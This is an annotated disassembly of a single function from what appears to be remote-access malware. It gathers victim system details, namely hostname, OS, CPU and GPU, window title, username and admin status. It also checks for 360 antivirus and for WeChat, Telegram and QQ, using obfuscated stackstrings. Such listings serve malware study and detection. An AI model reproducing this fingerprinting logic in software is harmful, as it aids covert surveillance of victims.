Function at 0x180003b28
Capabilities:
Contain obfuscated stackstrings
Get graphical window text
Get hostname

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f8]
sub rsp, 0x6d0
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rdi, rcx
xor r12d, r12d
mov dword [rbp - 0x58], r12d
mov byte [rcx + 0x58], 0xc8
lea r8, str.Pc_Assassin
lea rdx, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rbx, [rdi + 0x5a]
mov r9d, 0x80
mov r8, rbx
lea rdx, [0x18005ca44]
lea rcx, str.REMARK
call fcn.18000adc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, 0x104
test eax, eax
jne 0x180003c2f
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x2a0]
call fcn.18001d0d0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, esi
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.WS2_32.dll_gethostname]
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rbx
or r9d, 0xffffffff
lea r8, [rbp + 0x2a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r12w
lea rdx, str.Caption
lea rcx, [rbp - 0x50]
call fcn.1800059e0
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xe8]
call fcn.180002c78
nop
lea rcx, [rbp - 0x50]
call fcn.18000597c
lea rcx, [rbp + 0xe8]
mov esi, 8
cmp qword [rbp + 0x100], rsi
cmovae rcx, qword [rbp + 0xe8]
mov rdx, rdi
sub rdx, rcx
lea r13d, [rsi - 6]
movzx eax, word [rcx]
mov word [rdx + rcx + 0xfa], ax
add rcx, r13
test ax, ax
jne 0x180003c91
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp + 0x150], xmm0
mov word [rbp + 0x140], r12w
lea rdx, str.Version
lea rcx, [rbp + 0x140]
call fcn.1800059e0
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xc8]
call fcn.180002c78
nop
lea rcx, [rbp + 0x140]
call fcn.18000597c
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], rsi
cmovae rcx, qword [rbp + 0xc8]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0xda], ax
add rcx, r13
test ax, ax
jne 0x180003d0c
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r12w
lea rdx, str.OSArchitecture
lea rcx, [rbp - 0x50]
call fcn.1800059e0
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xa8]
call fcn.180002c78
nop
lea rcx, [rbp - 0x50]
call fcn.18000597c
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], rsi
cmovae rcx, qword [rbp + 0xa8]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0x13a], ax
add rcx, r13
test ax, ax
jne 0x180003d78
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r12w
lea rdx, str.Name
lea rcx, [rbp - 0x80]
call fcn.1800059e0
nop
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp + 0x150], xmm0
mov word [rbp + 0x140], r12w
lea rdx, str.Win32_Processor
lea rcx, [rbp + 0x140]
call fcn.1800059e0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x88]
call fcn.180003008
nop
lea rcx, [rbp + 0x140]
call fcn.18000597c
nop
lea rcx, [rbp - 0x80]
call fcn.18000597c
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], rsi
cmovae rcx, qword [rbp + 0x88]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0x662], ax
add rcx, r13
test ax, ax
jne 0x180003e24
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r12w
lea rdx, str.Name
lea rcx, [rsp + 0x60]
call fcn.1800059e0
nop
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r12w
lea rdx, str.Win32_VideoController
lea rcx, [rbp - 0x50]
call fcn.1800059e0
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x68]
call fcn.180003008
nop
lea rcx, [rbp - 0x50]
call fcn.18000597c
nop
lea rcx, [rsp + 0x60]
call fcn.18000597c
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], rsi
cmovae rcx, qword [rbp + 0x68]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0x862], ax
add rcx, r13
test ax, ax
jne 0x180003ebd
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r12w
lea rcx, [rbp - 0x18]
call fcn.1800033f0
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r12w
lea rdx, [0x18005cd50]
lea rcx, [rbp + 0x48]
call fcn.1800059e0
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.180005564
lea r14, [0x18005cbd8]
cmp rax, 0xffffffffffffffff
jne 0x18000400e
lea rcx, str.360Tray.exe
call fcn.18000ac70
test eax, eax
je 0x18000400e
lea rax, [rbp - 0x18]
cmp qword [rbp], rsi
cmovae rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 8]
mov edx, 3
cmp rcx, rdx
jne 0x180003f9d
mov rcx, r14
sub rax, r14
movzx r8d, word [rax + rcx]
movzx r9d, word [rcx]
cmp r8w, r9w
jne 0x180003f7e
add rcx, r13
sub rdx, 1
jne 0x180003f61
mov eax, r12d
jmp 0x180003f85
sbb eax, eax
and eax, 0xfffffffe
inc eax
test eax, eax
jne 0x180003fc5
lea rdx, [0x18005ca44]
lea rcx, [rbp - 0x18]
call fcn.1800059e0
mov rcx, qword [rbp - 8]
test rcx, rcx
jne 0x180003fc5
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.180005a5c
lea rax, [rsp + 0x60]
mov ebx, 1
jmp 0x180003fdd
lea r8, [0x18005cbd0]
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x80]
call fcn.1800062a0
nop
mov ebx, r13d
mov dword [rbp - 0x58], ebx
mov r8, rax
lea rcx, [rbp - 0x18]
call fcn.180005644
nop
test r13b, bl
je 0x180003fff
and ebx, 0xfffffffd
lea rcx, [rbp - 0x80]
call fcn.18000597c
nop
test bl, 1
je 0x18000400e
lea rcx, [rsp + 0x60]
call fcn.18000597c
lea rcx, [rbp - 0x18]
cmp qword [rbp], rsi
cmovae rcx, qword [rbp - 0x18]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0x15a], ax
add rcx, r13
test ax, ax
jne 0x180004021
call fcn.1800037f4
movdqa xmm0, xmmword [0x18005d1a0]
mov word [rbp - 0x50], r12w
lea rcx, [rbp - 0x50]
movdqu xmmword [rbp - 0x40], xmm0
test al, al
je 0x180004087
lea rdx, [0x18005cd78]
call fcn.1800059e0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rcx, qword [rbp - 0x50]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0xa62], ax
add rcx, r13
test ax, ax
jne 0x180004072
jmp 0x1800040b5
mov rdx, r14
call fcn.1800059e0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rcx, qword [rbp - 0x50]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0xa62], ax
add rcx, r13
test ax, ax
jne 0x1800040a2
lea rcx, [rbp - 0x50]
call fcn.18000597c
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r12w
lea rdx, [0x18005cd80]
lea rcx, [rbp + 0x28]
call fcn.1800059e0
nop
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], rsi
cmovae rcx, qword [rbp + 0x28]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0xa82], ax
add rcx, r13
test ax, ax
jne 0x1800040f4
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x180004128
lea rdx, [rdi + 0x462]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r12w
lea rdx, str.0_mins
lea rcx, [rbp + 8]
call fcn.1800059e0
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], rsi
cmovae rcx, qword [rbp + 8]
mov rdx, rdi
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx + 0xd96], ax
add rcx, r13
test ax, ax
jne 0x18000415e
mov dword [rbp + 0x108], 0x61766441
mov dword [rbp + 0x10c], 0x32336970
mov dword [rbp + 0x110], 0x6c6c642e
mov byte [rbp + 0x114], r12b
movdqa xmm0, xmmword [str.AllocateAndInitiCheckTokenMemberMicrosoft_Corpor_]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x7a696c61
mov dword [rbp - 0x3c], 0x64695365
mov byte [rbp - 0x38], r12b
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
movdqa xmm0, xmmword [0x18005d1d0]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0x70696873
mov byte [rbp + 0x154], r12b
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov dword [rbp + 0x118], 0x65657246
mov dword [rbp + 0x11c], 0x646953
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov dword [rbp - 0x30], r12d
mov word [rbp - 0x2c], 0x500
lea rax, [rbp - 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x220
mov r8d, 0x20
mov dl, r13b
lea rcx, [rbp - 0x30]
call rbx
mov dword [rbp - 0x58], eax
test eax, eax
je 0x1800042aa
lea r8, [rbp - 0x58]
mov rdx, qword [rbp - 0x28]
xor ecx, ecx
call rsi
mov rcx, qword [rbp - 0x28]
call r14
mov eax, dword [rbp - 0x58]
cmp eax, 1
sete al
mov byte [rdi + 0xd94], al
mov dword [rbp - 0x20], 0x64
mov dword [rbp + 0x130], 0x55746547
mov dword [rbp + 0x134], 0x4e726573
mov dword [rbp + 0x138], 0x57656d61
mov byte [rbp + 0x13c], r12b
mov dword [rbp + 0x120], 0x61766441
mov dword [rbp + 0x124], 0x32336970
mov dword [rbp + 0x128], 0x6c6c642e
mov byte [rbp + 0x12c], r12b
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rdi + 0xaa2]
lea rdx, [rbp - 0x20]
call rax
lea rdx, [rdi + 0xb86]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rdi + 0xd90], eax
mov esi, 0x80
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x220]
call fcn.18001d0d0
lea rbx, [rdi + 0xb06]
mov r9d, esi
mov r8, rbx
lea rdx, [rbp + 0x220]
lea r14, str.Time
mov rcx, r14
call fcn.18000adc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x180004409
lea rcx, [rbp - 0x28]
call fcn.18001f614
lea rcx, [rbp - 0x28]
call fcn.180023934
mov r9d, dword [rax + 0x10]
inc r9d
mov r8d, dword [rax + 0x14]
add r8d, 0x76c
mov ecx, dword [rax + 4]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rax + 8]
mov dword [rsp + 0x28], ecx
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x20], eax
lea rdx, str._d__d__d__d:_d
lea rcx, [rbp + 0x220]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp + 0x220]
mov rcx, r14
call fcn.18000ad18
mov r9d, esi
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, r14
call fcn.18000adc0
lea rcx, str.WeChat.exe
call fcn.18000ac70
mov ebx, eax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.18001d0d0
lea r14, str.gvU_
lea rsi, [0x18005cde8]
lea rcx, [rbp + 0x1a0]
mov rdx, rsi
test ebx, ebx
jne 0x180004476
mov r8, r14
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1a0]
lea rax, [rbp + 0x1a0]
mov rdx, rdi
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx + 0xdd6], ax
add rcx, r13
test ax, ax
jne 0x180004461
jmp 0x1800044aa
lea r8, [0x18005cdf0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1a0]
lea rax, [rbp + 0x1a0]
mov rdx, rdi
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx + 0xdd6], ax
add rcx, r13
test ax, ax
jne 0x180004497
lea rcx, str.Telegram.exe
call fcn.18000ac70
mov ebx, eax
xor edx, edx
lea r8d, [rdx + 0x20]
lea rcx, [rbp + 0x160]
call fcn.18001d0d0
mov rdx, rsi
lea rcx, [rbp + 0x160]
test ebx, ebx
je 0x18000450e
lea r8, [0x18005cdf0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x160]
lea rax, [rbp + 0x160]
mov rdx, rdi
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx + 0xe36], ax
add rcx, r13
test ax, ax
jne 0x1800044f9
jmp 0x18000453e
mov r8, r14
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x160]
lea rax, [rbp + 0x160]
mov rdx, rdi
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx + 0xe36], ax
add rcx, r13
test ax, ax
jne 0x18000452b
lea rcx, str.QQ.exe
call fcn.18000ac70
mov ebx, eax
xor edx, edx
lea r8d, [rdx + 0x20]
lea rcx, [rbp + 0x180]
call fcn.18001d0d0
mov rdx, rsi
lea rcx, [rbp + 0x180]
test ebx, ebx
je 0x1800045a2
lea r8, [0x18005cdf0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x180]
lea rax, [rbp + 0x180]
mov rdx, rdi
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx + 0xe16], ax
add rcx, r13
test ax, ax
jne 0x18000458d
jmp 0x1800045d4
mov r8, r14
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rbp + 0x180]
lea rax, [rbp + 0x180]
mov r9, rdi
sub r9, rax
movzx eax, word [r8]
mov word [r9 + r8 + 0xe16], ax
add r8, r13
test ax, ax
jne 0x1800045bf
lea r8, [rdi + 0x25a]
mov r9d, 0x208
lea rdx, [0x18005ce28]
lea rcx, str.GROUP
call fcn.18000adc0
mov r8d, 0xe00
lea rdx, [rdi + 0x58]
mov rcx, rdi
call fcn.18000177c
mov ebx, eax
lea rcx, [rbp + 8]
call fcn.18000597c
nop
lea rcx, [rbp + 0x28]
call fcn.18000597c
nop
lea rcx, [rbp + 0x48]
call fcn.18000597c
nop
lea rcx, [rbp - 0x18]
call fcn.18000597c
nop
lea rcx, [rbp + 0x68]
call fcn.18000597c
nop
lea rcx, [rbp + 0x88]
call fcn.18000597c
nop
lea rcx, [rbp + 0xa8]
call fcn.18000597c
nop
lea rcx, [rbp + 0xc8]
call fcn.18000597c
nop
lea rcx, [rbp + 0xe8]
call fcn.18000597c
mov eax, ebx
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.18000b240
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret